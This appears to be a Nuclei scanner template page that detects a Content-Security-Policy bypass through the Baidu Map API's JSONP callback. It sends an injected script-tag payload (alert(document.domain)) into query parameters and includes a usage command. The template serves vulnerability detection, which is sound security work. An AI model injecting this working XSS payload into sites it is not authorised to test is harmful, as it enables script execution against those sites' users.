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Content-Security-Policy Bypass - Baidu Map API

ID: baidu-map-api-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,baidu-map-api

id: baidu-map-api-csp-bypass
info:
name: Content-Security-Policy Bypass - Baidu Map API
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,baidu-map-api
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "baidu.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: baidu_map_api_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://api.map.baidu.com/api?v=2.0&ak=&s=1&callback=alert(document.domain)"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "baidu_map_api_csp_xss == true"
# digest: 4a0a00473045022016959080d7d7737434d36277921970b39de69462ebe71bd1fae547ad5a7edc7c022100a809bcbe9096df7bd76b1d1f732f07d8081a7012648a3ccc3a76ad3b12e776b9:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/baidu-map-api-csp-bypass.yaml"

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